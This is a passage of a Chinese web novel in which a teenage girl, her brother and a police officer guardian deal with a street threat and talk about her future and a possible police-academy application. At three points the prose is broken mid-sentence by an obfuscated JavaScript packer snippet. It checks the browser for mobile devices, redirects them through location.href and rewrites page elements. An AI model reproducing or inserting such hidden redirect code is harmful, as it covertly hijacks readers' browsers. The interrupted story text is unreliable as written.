片刻后,他抬起头,眼神里多了一丝压抑的执拗:“小?我现在,也不过就是你那时候的年纪。” ——那时候。 他没有明说是什么时候,但阮云琛知道。 那是她一个人硬着头皮去拳场打拳赚钱的年纪。 阮云琛看着他,眉头微微皱起。风从街尾吹过来,拂动她肩膀上的发梢,把空气吹得一瞬间安静下来。她没有立刻回答,只是目光在他脸上停了一会儿,像是在琢磨他话里的意味。 “我只是不想让你们担心。”她最终开口,声音低了些,带着一种不易察觉的疲惫,“有些事——” “有些事不是你一个人的事。”阮秋截住了她的话,声音不高,却透着一股不容忽视的坚定。 阮云琛的指尖动了一下,手无意识地碰到包的拉链,像是要打开什么,却最终没有动作。 她偏过头,眼神避开他的脸,语气恢复了之前的平淡:“别太天真。知道了危险是什么,不代表你能扛住。” “那你呢?”阮秋往前迈了一步,和她的距离拉近了一些,低头看着她的侧脸,“你一个人就能扛住所有的事?” 阮云琛的脚步突然停了,像被风吹散了最后一丝力气。她站在街角,背对着阮秋,手缓缓垂在身侧,指尖微微蜷曲了一下。 夜色沉寂,灯光像一层薄薄的雾,轻轻笼罩在她的周围。风吹过,撩起她外套的一角,显得那背影格外单薄。 “姐——”阮秋低低地喊了一声,声音被夜风吹散了一半。他看着她微微僵住的背影,下意识地突然迈步向前。 他的指尖几乎就要碰到阮云琛垂在身侧的手,却又在最后一刻生生停住了。 那距离不过半寸。 他的手悬在那里,几乎能感受到她掌心的凉意。他忽然意识到自己在做什么,胸口的呼吸瞬间变得沉重,手心里攥出的力道一点点松开。 可是,他又不甘心地停在了那里。 如果他能拉住她—— 这一瞬间,这个念头几乎把他灌满了。 他想要拉住她,想要接住那些重重压在她肩膀上的东西,那些生活的苦难,那些无声的倔强和无处诉说的疲惫。他想将那分量撕下来一半,哪怕只是让她轻一点点。 他的喉结滚动了一下,呼吸又轻又缓,最后的力气却还是卸了下来。他的手慢慢垂下,像是被什么压回了胸口。他低头看着自己的手指,掌心被握出的红痕像是一种无声的羞赧。 风卷起一片树影,影子在两人之间摇晃不定。灯光落在她的肩膀上,连那线条都显得疲惫而锋利 阮云琛站垂在身侧的手指蜷了蜷,像是在触碰什么无形的边界。 片刻的停顿后,她缓缓抬起手,动作不快,却极为利落,径直握住了他的手。 力道不重,却带着某种无法抗拒的笃定。 阮秋的瞳孔微微一震,愣在了原地,阮云琛却没有回头,只是声音低低地从风里飘过来:“别磨蹭,走了。” 她拉着他往前走去,步伐依旧稳当,但手心的力道却有些紧。阮秋垂着眼看着两人交握的手,喉结轻轻动了一下,想说什么,最后却只是低声应了一句:“嗯。” 路灯的光线拉长了两人的影子,像是某种微妙的连接。风渐渐停了,街道尽头的霓虹灯还在闪烁,但四周却安静得像是隔绝了所有的嘈杂。 阮秋低头看着地面上的影子,嘴角勾起一个几不可察的弧度,手指在她掌心里轻轻动了一下,最终没有松开。 路灯昏暗,光线断断续续地洒在地面上,将两人的影子拖得忽长忽短。街道安静得近乎冷清,远处偶尔传来一两声汽车驶过的低鸣,瞬间又被夜色吞没。 阮云琛走在前头,步伐稳而有力,鞋底与地面摩擦发出的声音清脆而规律。她的手紧握着阮秋的,指尖却微微蜷着,掌心的力道有些紧,像是握着某种无形的安全感。 阮秋跟在她的身侧,低头看了一眼被她握住的手,掌心微微发热。他的目光从她的肩膀移开,扫过街边的小摊,略过关了一半的商铺卷帘门,最后停在远处街角的阴影里。 那里有一道模糊的影子,紧贴着墙角,昏黄的灯光照不到那片区域,那影子几乎与黑暗融为一体,隐隐透出某种压迫感。 阮云琛忽地停住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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脑海里飞快地掠过这些念头,她的手却没有一刻松开刀柄。过去的阴影从未真正离开,她知道那种熟悉的危险还在,只是换了一个名字和形状。 远处小商店里传来刺耳的电视机杂音,屏幕上的画面被路灯光打得模糊不清,一个主持人正用平稳却带着急促节奏的语调播报: “近日,市区范围内发生多起针对女性的骚扰案件。嫌疑人通常单独行动,伪装成路人接近受害者,随后伺机作案。警方提醒广大女性,务必提高警惕,避免夜间单独外出……” 阮云琛的目光扫了一眼旁边那扇微敞的店门,电视机荧光的跳动映在她眼底,像是一道尖锐的警钟。 那人显然也听到了,身体微微一僵,但很快就恢复了平静。 他挪了挪脚,鞋底在地上发出轻微的摩擦声,随后懒洋洋地抬起头,嘴角挂着一抹刻意的笑:“你们走得这么快,我还以为认错人了。” 阮云琛的手没有动,目光冷冷地盯着他。她的声音缓缓从喉间溢出,平静而锐利:“有事吗?” “没什么事,”他耸了耸肩,像是在自言自语,“你们是不是也听说了?最近这片可不太平,走夜路的姑娘可得小心点。” 他说着往前挪了一步,光线打在他鞋面上,露出脚边一片暗色污渍。 “别动。”阮云琛的声音更加冷硬,手已经从口袋里抽了出来,握住折叠刀的手指微微颤动。 她的指节因为用力而微微泛白,眼神却没有离开那人的脸,心里却在飞快地掂量着周围的情况。 风轻轻扫过巷口,带来一股凉意,空气里像是凝结了一层看不见的网,压得每一秒都显得漫长。 “这么晚了,在干什么?”一道低沉的声音忽然从身后传来,像是钉子落地,打破了空气中的僵硬。 71. 家 那人猛地僵住了,眼里闪过一丝惊慌,脚步不自觉地后退半步。他转过头,目光对上了站在路灯下的男人。 廖致远的身影被昏黄的灯光笼罩着。他穿着一件旧夹克,拉链只拉到一半,手里提着一个简陋的塑料袋,袋子里装着几个苹果和一包烟。 他的神情淡然,目光却如刀锋般直接切在那人身上,带着一种从容却不容置疑的气势。 “呃……”那人的声音带着一丝干涩的笑意,脚步又后退了一步,“怎么……大哥,这么晚还出来溜达啊?” “我倒是想问问你。”廖致远随手把塑料袋搁在路边的石凳上,双手插进口袋里,慢慢走了两步,语气不急不缓,“大晚上不回家,在这儿闲逛做什么?” “没,没什么。”那人讪笑着,连忙摆手,“就是路过,随便走走。” “路过?”廖致远的目光从他脸上移到他的脚,接着抬了抬下巴,语气淡淡的:“身份证呢,拿出来看看。” 那人一愣,脚步下意识地往后退了半步:“这……大哥,您是?” 廖致远没有回答,只是从夹克内侧掏出一个证件夹,轻轻翻开,露出警官证在对方眼前晃了一下。他的动作简单利落,语气低沉:“不想麻烦的话,配合一下。” 那人脸上的笑容僵了一瞬,手在口袋里摸索了片刻,掏出一张身份证递过去。他的动作看似顺从,却带着某种不安的迟疑,手指不自觉地在衣摆上揉搓。 廖致远接过身份证,低头扫了一眼,语气不变:“这附近的案子你应该听过吧?大晚上晃悠,挺巧。” “您多心了,真是路过,真是路过。”那人连连摆手,笑容有些勉强,“不信您再查,我哪儿也没去。” 廖致远没有理会他的解释,目光依旧冷冷地盯着他,片刻后抬手拨通了电话。电话接通时,他的声音低沉而简洁:“有个情况,带回去做个记录,顺便查一查。” 听到这话,那人脸上的笑意彻底僵住了。 他低头看了一眼自己的鞋尖,像是想趁机溜走,但刚抬起脚,廖致远已经稳稳地站到了他面前,手搭在他的肩上,力道不大,却让人根本挪不开步子。 “别动。”廖致远的声音不高,却像一块石头压下来,稳稳地扣住了场面。 街头恢复了安静,只剩下远处路灯嗡嗡作响的声音。那人被地方警方带走时,连头也没敢回,脚步拖得很重,像是被压住了什么一样。 廖致远站在原地看着他们离开,直到那道背影彻底消失在街角,他才低头拎起放在石凳上的塑料袋,向站在一旁的两人走去。 阮云琛站得笔直,目光平静,却没有掩住那种警觉散去后的疲惫。阮秋站在她旁边,手插在兜里,脚尖轻轻点了一下地面,像是在掩饰刚才的紧张。 廖致远停下脚步,低头看了眼他们,目光落在了阮云琛包里隐约露出的围裙标识上,目光又扫过汉堡店的霓虹灯。 他愣了愣,塑料袋在他的手里晃了晃,里面的苹果撞到一起,发出低低的闷响。 “打工?”他问。 他语气很是平淡,像是只是随口一问,但那眼神却时而不时地落在阮云琛的身上,随即又在阮秋脑门顶儿打了个旋。 阮云琛没有回答,只是把手从兜里拿出来,捏了捏手心,像是在缓解刀柄带来的冰凉感。片刻后,她淡淡地开口:“嗯。” 廖致远的眉头几乎不可察地动了一下,像是某种压下的情绪没有完全展现。他的目光重新回到她的脸上,停顿了一瞬后,又垂了下去:“经常来?” “一周五天。” 这话让他停住了。他的脚下稍稍挪了一下,像是试图改变重心,却又在片刻后停住了动作。他低头看着手里的塑料袋,里面的苹果静静地堆在一起,像是一种无声的重量压在那里。 “挺忙的。”他顿了一下,轻声说道,语气依旧很淡,听不出什么情绪。 阮云琛没有接话,只是拉了拉肩上的背包带。 廖致远又看了她一眼,像是想说点什么,但最终只是抬起脚,朝着前方走了两步。他的声音从前方飘过来,语气平稳得几乎让人听不出意味:“走吧,回家。” “回家?”阮云琛微微怔住,几乎怀疑自己听错了。她下意识地看了阮秋一眼,对方看起来同样有些意外,却没有出声。 一路上,街头的霓虹灯洒在他们的影子上,时而被拉长,时而缩短。风带着淡淡的湿意从巷口吹来,卷起路边废纸飘过几人的脚边。 “高考很快了......明年?”廖致远忽然开口,语气依旧平淡得像是在说今天的天气,“志愿想好了吗?” 阮云琛的脚步顿了一下,抬眼看向前方,眉间略微收紧。 “我......没想过。”她说。 因为九岁之后就没再继续上学,即使平时会在家自学,但阮云琛的进度还是会比同龄人要慢上两年。 廖致远转过头看了她一眼,目光沉稳而安静。他的脚步放慢了些,像是在等她把话说完,但阮云琛并没有继续。 她的手悄悄缩进了外套的口袋里,指尖轻轻摩挲着内衬的布料,垂着眼,盯着地面上的影子,内心的思绪却像被风掀起的波浪,怎么也平静不下来。 没想过。 她确实没想过。 从前她的日子一向走得很直,直得像是一条被钉死的线,永远只有一个方向:活着。 她害怕过,疲惫过,却从未停下过脚步。 宋祈没了,和安堂倒了,她总算能喘一口气,可这并不意味着那些重量会自动消失。生活的担子从不需要谁明确接手,它会自然地落在肩膀上,像影子一样紧跟着她。 她害怕宋祈,憎恶和安堂,但她不得不承认,那时候家里的开支多半是从他那儿赚来的。 那些不体面的工作,换来了她和阮淼淼能在街头的冬夜里有地方取暖,也换来了不至于饿着肚子迎接第二天的早晨。 现在宋祈没了,和安堂倒了,她总算能喘口气,但......未来呢? 大学?那不过是个不切实际的奢望。 她甚至不觉得自己有资格去考虑。 她从没有余裕去思考“以后”这种模糊的未来,更不用说填进所谓的志愿表格里。 她知道自己能靠的只有自己,而未来的日子仍旧是要挣钱、养家,再也不能让淼淼和阮秋吃苦。 十八岁,那是界限,是一条被清晰划开的线。阮云琛甚至没法确定廖致远会不会在那之后继续履行收养人的义务。 她不是没看出来他的局促和为难,也不是没感受到他偶尔流露出的关心——可是这种关心并不足以成为她心安理得留下的理由。 她早就为自己铺好了另一条路。即使日子再难,她也不能赖在这里,不能让自己成为别人的负担,尤其是廖致远。 这个总是日不着家的老警察,已经为她做得够多了。 廖致远却叹了口气。 “大学这种事,你不能不想。”他说。 “大学……”阮云琛的喉咙动了动,像是咽下了一口干涩的空气,最终却没有接下去,只是抬头看了他一眼。 “上大学不是为了别人。”他停下脚步,转身直视她,语气平静却带着压住的力道,“也不是为了养家糊口。是为了你自己。” 他的目光很稳,像是要穿透她的伪装。 阮云琛愣住了,站在原地没有动。风吹过她的脸,凉意顺着鼻尖滑进胸口。她一时竟找不到反驳的理由。 廖致远没有再说什么,只是转过身,继续朝前走去。他的步伐一如既往地稳当,背影在路灯下被拉长,像是一道沉默的墙,把他所有的情绪都隔在那面不透明的影子后面。 阮云琛只觉得呼吸有些滞涩。 风从街尾吹过来,带着些许凉意,悄无声息地拂过她的脸颊。 “姐。”阮秋的声音在夜风里响起,低低的,带着一点迟疑。 阮云琛没有应声,像是没听见。风从远处吹过来,拂动了她的发尾,撩起了一点轻微的凉意。 阮秋走近了一步,手微微抬起,迟疑了片刻,终于伸出去,轻轻碰了一下她垂在身侧的手指。 他的动作很轻,仿佛怕惊扰到什么不稳定的东西。他的手掌微微用力,带着一丝犹豫,缓缓地将她的手握住。 掌心的温度是实在的,温热而坚实,像是一种沉默的支撑。 阮云琛的肩膀动了动,思绪还停留在廖致远的话里,被那一句“为了你自己”拉扯得有些散乱。 为了自己...... 可为了自己的话,阮秋和淼淼又要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101089|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么办? 阮云琛不明白廖致远说这话的目的,也参不透他到底想要做什么。 她的脑海里翻涌着未出口的问题,指尖却在不知不觉中反应过来,缓缓地勾住了阮秋的手。动作轻而自然,仿佛完全没有意识到。 “走了。”阮秋说,“再不回去,淼淼要生气了。” 阮云琛没有挣脱,只是浅短地“嗯”了声,缓缓跟上了廖致远的背影,往前走了去。 到家时,客厅的灯亮着,昏黄的光线洒在地板上,带着一种安静的暖意。淼淼听到开门声,从书桌旁探出头,看到廖致远的身影时眼睛一下子亮了。 “廖叔叔!”她欢快地喊了一声,几步跑过来,手里还捧着一本练习册,显然是刚做完作业,“你今天回来啦!” 廖致远换了鞋,把手里的塑料袋放到桌上,动作随意却带着某种笃定。他低头看着淼淼,嘴角微微勾起:“嗯,刚结了个案子,回来看看你们。” 淼淼眨巴了两下眼睛,没听懂什么是“结了个案子”,但很快她就忽略掉了这一点,蹬着拖鞋“啪嗒啪嗒”地跑回了屋,没过两秒,拎着小书包就又跑了出来。 “我跟你说哦——”淼淼仰起头,眉眼里全是得意,“我们今天语文数学考试,我考了两个100分!” 廖致远的目光在她脸上停了片刻,嘴角的笑意多了一分。他伸手轻轻拍了拍她的头,语气间带上了点温和:“真棒。” “当然啦!”淼淼笑得更加神气,转过头,朝着阮秋和阮云琛扬了扬下巴,像是在炫耀。 阮秋低头敲了阮云琛一个脑瓜崩,动作轻轻的,像是提醒,又像是没来由的打趣。 “可给你神气坏咯。”他低声说,语气带着点无奈的调侃。 阮云琛笑了笑,拉开了背包的拉链,掏出一个被压得有些变形的汉堡。 汉堡有点凉了。 外层的包装纸因为被上边的围裙压过,变得有些皱,但淼淼看到的时候,眼睛还是亮了起来:“巨无霸!” 她的小脸“嗖”地就凑到了阮云琛面前,眼睛像点燃的小星星,眨巴眨巴,夸张地扯了个巨大的微笑:“谢谢姐姐!姐姐你就是我的超级大英雄!” 阮云琛低头看着她,嘴角微微弯起,眉眼间浮现出一丝温柔的笑意。她伸出手指,轻轻戳了戳淼淼的额头:“馋鬼。” 汉堡面包的表皮因为时间的关系变得干涩,还有些被压扁了的痕迹。但淼淼一点也不在意,抱着纸袋打开包装,像是捧着什么珍贵的宝贝。 她咬了一口,眉眼舒展开来,嘴里含糊不清地喊:“真好吃!” 阮云琛坐在一旁,垂着眼看她,嘴角还带着刚才没散尽的笑。过了一会儿,她从包里又拿出两个汉堡,递了一个给阮秋,另一个递向廖致远。 廖致远的动作顿了一下,目光从汉堡上抬起来,微微皱了皱眉:“给我的?” “嗯。”阮云琛点点头,神情很平淡,像是在谈一件再普通不过的事情,“不知道你回不回来,顺手多带了一个。” 廖致远低头看着她递过来的汉堡,动作停顿了一瞬。沉默间,他伸手接了过去,指尖扫过包装纸,随即收回,握在掌心里,没有开口。 空气安静了片刻,只有淼淼大口吃汉堡的窸窣声在耳边回响。 “谢谢。”他说。 屋子又安静了下来。 淼淼抱着汉堡窝在沙发里,小腿一晃一晃的,嘴角还挂着没来得及擦掉的酱汁。客厅的灯光很暖,昏黄的光晕笼罩着茶几上的一片狼藉,纸巾和包装纸堆在一角,像个临时的城堡。 厨房的炉子上在炖着肉,电饭锅也在咕嘟直响,阮秋在刷饭盒,给淼淼准备第二天的午饭。他的目光偶尔扫过坐在椅子上的廖致远,接着又落在了转角半掩着的屋门那儿。 阮云琛已经在里面写试题了。 阮秋浅浅地叹了口气。 未成年人劳动法推行力度极强,这几年似乎政策抓得更紧了。这个家里只有阮云琛能打些零工,而他,却是一点忙也帮不上。 尽管廖致远说得很明白,所有的生活开销都会由他来承担,但…… 阮秋明白,对于阮云琛来说,无缘无故接受别人的好意,比让她直面那些现实的重压更难。 廖致远忽地站起了身。 72. 未来 椅子腿在地板上拖出一道轻微的响声。客厅的光映在廖致远的侧脸上,将他的眉间的皱纹刻得更深。 阮秋的目光随之抬起,落在他的背影上。淼淼还在沙发上小声哼着歌,完全没有注意到廖致远的动作。廖致远没有回头,只是缓步朝走廊走去,脚步轻得几乎没有声音。 他停在阮云琛的房门前,抬手敲了敲。 阮云琛也没想到廖致远怎么突然就来找自己了。 他站在房间中央,目光落在书桌上摊开的练习册上,眼神带着某种稍纵即逝的游移。他没有说话,径直在离她不远的椅子上坐下,动作带着一点疲惫,但姿态依然笔直。 廖致远没有脱掉外套,袖口还带着些夜风的凉意,隐约能闻到一点淡淡的烟草味。 隔了很久,他才憋出来了一句:“......汉堡,挺好吃的。” 阮云琛转过头看了他一眼,声音淡淡的:“店里最贵的,还放了新鲜炸鸡排。” 廖致远点了点头,似乎想顺着这个话题继续下去,但终究什么也没说出来。空气里短暂地安静了几秒,只有墙上挂钟的秒针声清晰得几乎刺耳。 “工作累不累?”他问,像是随意找了个话题,但声音里不经意地透出一点小心翼翼的味道。 “还好,”她答得干脆利落,手指翻着笔记本的边角,“没什么特别的。” 她知道他在铺垫,也知道他最终想问什么。但阮云琛没有主动开口,她抬起眼,看着他站在那里,像一尊随时会撤退的雕像,生硬又不安。 沉默又拉长了几秒。 廖致远微微抬起头,目光重新落在她身上。他似乎察觉到自己的话题兜了个远圈,但绕不回去的尴尬让他微微移开了视线。 他沉默了片刻,终于像是下定了决心般,低声开口:“高考准备得怎么样了?” 廖致远语气淡淡的,像是可以假装自己在问一件与他毫无关系的事情,但那淡漠中又透露出一股说不上来的尴尬。 倒不是尴尬于问出的这个问题,却是似乎只是尴尬于自己表现得好像当真像个合格的“监护人”。 “还行吧。”阮云琛低头写了一笔。 廖致远的视线落在桌上摊开的试卷上,像是在寻找一个切入点。可想了半天,他也没想出什么好的办法。 隔了会儿,他像是放弃了挣扎似的,忽地叹了口气,缓缓地开了口:“想过高考之后的打算吗?” 这句话落下的瞬间,空气像是凝滞了一瞬。 阮云琛停下笔,手指搭在纸面上,轻轻按住那一片被橡皮擦得发灰的地方。她没立刻回答,目光从试卷上抬起,看向廖致远,沉默了几秒。 “没想过。”她的声音不高,却听得很清楚。 这个问题,刚才他也问过。 阮云琛抬眼看向他,视线短暂停留,又迅速垂下,落回试卷的边角。 她不知道廖致远为什么突然这么问。 他从不主动过问她的事情,甚至不擅长和她说这些——这种生疏反倒让问题显得更加突兀,让她的脑海像被打翻的墨水,一时涌满了莫名的情绪。 “想过”这两个字在她脑中闪过,却很快被她抹去。 她的未来从来都是模糊的,像一张白纸上落满了斑驳的污点,轻轻一擦,就什么都没有了。 大学,这个她刻意绕开的选项,偶尔曾在深夜的灯光下浮现,却在现实的重量面前迅速消失。 她不否认她曾想过,可那些念头太短暂了,短暂到她来不及认真触碰,就已经主动丢开。 高考之后呢? 这个问题像是一道看不见的锁,深嵌在她脑海的最深处。 她甚至不敢用力去碰,害怕稍一用力,那些勉强维系的平衡会瞬间崩塌。 家里这点开支、淼淼的学费、阮秋的日常开销……这些沉甸甸的现实,像是挂在脖子上的铁链,不允许她做更多的奢望。 她总不能什么都依赖廖致远。 这个念头像一道冷风,从心底最深的地方刮过,扬起一层细碎的尘埃。阮云琛轻轻呼了口气,试图将它压下去,但那种窒息感仍然顽固地贴在胸口。 她不擅长依赖别人,甚至可以说,从来没有真正依赖过谁。 从九岁那年起,她学会了如何用自己的方式保护淼淼,学会了如何用沉默和冷硬去换取喘息的机会。 阮云琛的路总是直的,直得像被钉死的轨迹——没有岔口,没有退路,也没有人能替她扛着那些沉甸甸的担子。 现在却不一样了。 廖致远的出现,像是一堵墙,突兀却无可回避。 他替她解决了高昂的学费,替阮秋办了合法身份,甚至替她们三人撑起了一个家。可这并不意味着,她可以心安理得地将所有的责任都推到他肩上。 善意是有边界的,他已经做得够多了,甚至多到她无法坦然面对自己。 阮云琛的手指微微蜷缩了一下,像是在抵挡着什么侵入脑海的念头。那种隐隐的负罪感又回来了,像是一根藏在心底的刺,扎得她一阵阵发紧。 廖致远微微皱眉,像是没想到她会回答得这么直接。他的手放在膝盖上,掌心朝下,手指缓缓收紧了一点,随即又放开。 “没想过?”他重复了一遍,声音里听不出质疑,倒更像是在确认。 阮云琛点了点头,语气平静,却带着一点克制:“还没时间想。现在能过一天算一天。” 话一出口,房间里的空气像是被什么压了一下,显得更加安静了。 廖致远低下头,目光停在她的手上,那本应该细嫩的女孩的手,却是骨节分明,布满了细小的伤疤。 廖致远知道,阮云琛有说不完的秘密。 但他也知道,她只是个...... 只是个没有选择的孩子。 她面前是一条满布荆棘的藤蔓,而身后,是令人窒息的深渊。 往前走会伤痕累累,往后走会粉身碎骨。 这样的选择并不能称之为选择。 任何一个想活下去的人,都会咬牙爬上那藤蔓,即使刺进掌心的荆棘让血顺着指缝流下,即使每一步都被扎得千疮百孔。但......总归活着。 活着,就还有机会。 廖致远深吸了一口气,觉得那空气中带着一点难以言喻的沉重感。 ——这种生活,不该是一个孩子的生活。 可阮云琛早就不是孩子了。 她从她的童年里挣脱出来,带着那种冷硬得过于早熟的表情,硬生生地将自己捏成了一个大人模样。 他从未问过她的过去,也不打算问。 秘密这种东西,越是揭开,就越像一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109535|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场溃烂。廖致远懂得那种溃烂的滋味,也知道无论揭开与否,她都只能继续向前走。 但即使如此,他依然觉得,生活应该有另一种可能。 沉默在空气中绵延了几秒,廖致远抬起了头,看着阮云琛的侧脸,那是一张再普通不过的脸,却因为岁月的压迫,多了点沉寂和锋利的意味。 阮云琛从不提过去,也很少谈未来。 她的脚步一向踩得很实,实得像踩在了坚硬的石头上。廖致远觉得,这样没什么错。 可是这并不意味着她可以不去想未来。 她总该有点别的东西——别的,能够点燃那石头之下火光的东西。 “高考之后,”廖致远缓缓开口,声音比刚才低了一些,“你总得有点方向。” “方向……”阮云琛喃喃着重复了一遍,像是在咀嚼这个词的分量。她垂下目光,盯着桌上的试卷,思绪却早已脱离了这些熟悉的笔迹,飘远到了她从未去过的地方。 廖致远看着她,没有说话。他的目光淡淡的,但带着一种无法忽视的重量。 屋子里再次陷入寂静。 阮云琛低头盯着自己的手,指尖无意识地摩挲着笔杆。她的脑海里浮现出廖致远提到“打算”时的语气,那种不动声色的关切,和她过去听过的任何一种关心都不一样。 ——打算。 未来。 这些词听起来很远,却又像近在咫尺,压得她喘不过气。 阮云琛从未认真想过这些问题。过去的生活里,未来这个词显得太过奢侈。她能活下来,已经用了全力。 她知道廖致远在等她的回答,也知道他说得对,但这个词对她来说,太沉了。 她活到现在,像是踩着一根从未断开的绳索,一头连接着过去的黑暗与负重,另一头却没有尽头,只能一直向前。 她从没去想绳索的尽头在哪里,甚至不敢去想。一旦停下来,绳子或许会断,人也会掉下去,摔得粉身碎骨。 从前她害怕宋祈,憎恶和安堂,但她不得不承认,那时候的路清晰得多。只要听话,只要能完成那些任务,她就能换来弟妹的一顿饭、一张床、一个相对安全的夜晚。 而现在,宋祈没了,和安堂倒了。她站在绳索的某一段,前后都是空荡荡的,甚至连过去那种明确的恐惧都模糊了。 她还不到十八岁。 廖致远的监护对她来说,是一片临时的遮雨伞,但她知道伞不可能永远撑在那里。一旦她成年,这伞就会收起,而她得重新为自己和弟妹撑起一片天。 大学? 她不否认她曾想过,但很快就放弃了。大学意味着三四年的时间、远离这个家、可能无法承担起生活的重压。 ——这根本就不是她的选择。 阮云琛深吸了一口气,手指轻轻敲了敲桌面,像是在给自己一个节奏。 她一直都知道方向的重要性,但有些人注定没有选择的余地,她不是在路上迷茫,而是压根没有路可选。 忽地,廖致远的椅子轻轻响了一下。 他换了个姿势。 屋里只有两人,安静得可以听到墙角的风撞在窗玻璃上的声音。 “警校。”廖致远的声音忽然响起,低而平静,像一颗石子投入湖面。 阮云琛愣住了,猛地抬头看向他。 73. 志愿 “警校”两个字落下的瞬间,阮云琛觉得自己像被什么东西狠狠击了一下。 她的指尖下意识地按在试卷的边缘,笔在纸面上留下一道淡淡的痕迹,却没了动静。 房间里的光线仿佛也沉下来了一些,投在她的掌心里,照亮了那一片细碎的旧疤痕。 她没有立刻抬头,呼吸压在胸口,像被什么堵住了一样。 廖致远没再说话。 他的目光安静地落在她的脸侧,像是在等一个回应,但没有催促。 阮云琛脑海里却掀起了一阵轰鸣,像一扇被强行推开的门,把所有被封闭在阴影里的东西都拖了出来。 这个词......这个词不该出现在她的人生里。 更不该从眼前这个男人的口中说出。 ——“警校”。 两个轻飘飘的音节,像一颗投进深潭的石子,激起无数层涟漪,又迅速沉到意识的最底层,拖拽出压得她喘不过气的重量。 那是阮云琛根本不敢触碰的领域。 她与“警察”之间的关系,从来就不该是并肩,而是追逐。 她的过去——那些冰冷的档案、隐秘的伤疤、无法摆脱的噩梦——早已将她与这两个字隔绝成两个世界。 九岁那年,她攥着刀子,手指发抖却依旧紧紧抓住。刀锋刺穿的不是别人,而是她自己的界限。 那界限后来变成了她的盔甲。 阮云琛知道自己再也不可能成为别人眼里的“孩子”,她是一个罪人,是被定义好的“问题分子”,即便没人说出口,她也知道自己已经被划出了界线。 她是危险的,是让人避之不及的,是社会规则的破坏者。这样的她,怎么可能和“警察”联系在一起? 可就是这个词,让她愣在原地。它轻巧地从廖致远的口中滑出,却像是用刀子割开了她封闭已久的伤口。那些本该被掩埋的记忆,突然翻涌上来。 ——警察。 是小时候她憧憬过的“正义”。 那个词在她幼年时甚至几乎等同于希望。 她曾经幻想过,如果警察来了,是不是就能把爸爸带走?是不是妈妈的哭声就会消失?是不是她和淼淼可以从那座阴冷的家逃出去? 她想过很多次,甚至有些天真的以为,只要警察的手电筒照进他们的家,黑暗就会被驱散。 这些幻想一开始明亮又美好,但随着时间的推移,变得黯淡,最后连同她所有的期待一起,沉入了深渊。 警察从来没有来过。 哪怕她带着满身的伤跑出家门,哪怕她的声音撕裂空气,她等到的也不过是几句冷冰冰的:“我们没有权限介入家事”,或者是“你需要证据”。 没有人真正关注过她,没有人告诉她应该怎么办。 久而久之,“警察”在她的世界里,成了一道模糊的影子。 它既是正义的象征,也是一个无法触碰的存在。 她憎恶那种冰冷的旁观,也害怕被正义的目光对准自己。 她知道,一旦成为他们目光的焦点,自己的生活会变成一张密密麻麻的问卷:为什么你的父亲会死?为什么你会去那些地方?为什么你会做那些事? 她没有答案,也无法回答。 而阮云琛也选择了另一条路,用自己的方式摆脱那片阴影——祈求宋祈,涉黑、收债、打拳,她走得越来越远,直至彻底放弃对“警察”的期待。 她清楚,自己从一开始就不属于那个世界。 可现在,她听到廖致远提起“警校”。 一个警察。 一个知道她过去、却没有拆穿她的警察。 她不明白。 阮云琛不明白。 他凭什么......? 凭什么对她提出这样“荒唐”的建议? 一股无法形容的情绪撞进她的胸口,强烈到几乎令人窒息。 那个曾经象征希望、后来又被她压进最深的泥沼里的词语,突然被拉出来,擦干净,放在了她面前。 它是她小时候曾经想抓住却抓不到的光,而如今,它变成了一面镜子,照出了她身上的泥泞和裂痕。 矛盾像细针一样扎进她的神经。她想起了自己过去的幻想,也想起了那些破碎的现实。 阮云琛无法相信这个词会与自己扯上关系,更不明白廖致远为什么会把它递到她面前。 警校?她一个生活在灰色地带、带着无数污点的人,怎么可能踏进那种地方? 可她没法完全拒绝这个想法。 或者说...... 或者说,这个想法,曾经无数次地闪现过脑海。 它像某种不合时宜的念头,在每一次午夜的疲惫里、每一次黑暗的挣扎里,短暂地出现,又迅速被压下去。 那是她刻意避免触碰的区域,是她告诉自己永远不要去靠近的地方——不仅因为不可能,更因为太过刺痛。 她想过警校,想过成为一个警察。 那并非是野心,而是隐秘的、隐秘到连自己都不敢想的执念。 第一次冒出这个念头,是和淼淼一起缩在胡同口等天亮的时候。 那个冬天冷得像没有尽头,风从墙缝里钻进来,冻得淼淼直发抖,小小的脑袋靠在她肩膀上,睡得不安稳。 阮云琛记得自己看着街口的路灯,记得自己当时天真的想法,她想着,如果她是警察,她一定会停下来,小心发问,问“怎么会有两个孩子在这里”。 可是那时没有人来。 警察举着手电扫过了他们,只是短暂地停留了一秒,又像是什么都没看见似的走了远。 后来是阮秋,他还在桥动力的时候,坐在那暗影出,低头摆弄那些破铁片。 她看着那个瘦削的背影,心里升起了一种难以言说的复杂情绪。 如果那时候有人找到阮秋,如果在他还没有彻底蜷缩进黑暗里的时候,有一只手拉了他一把,他是不是就不需要握着这把刀过日子? 阮云琛恨过警察的不作为,恨他们的冷漠。 她恨他们站在“正义”的立场上,却从未真正伸出过手。但那种恨,归根结底,是从失望里长出来的,是在她无数次的期待被无视之后,沉淀下来的东西。 她恨,可她......也想成为他们。 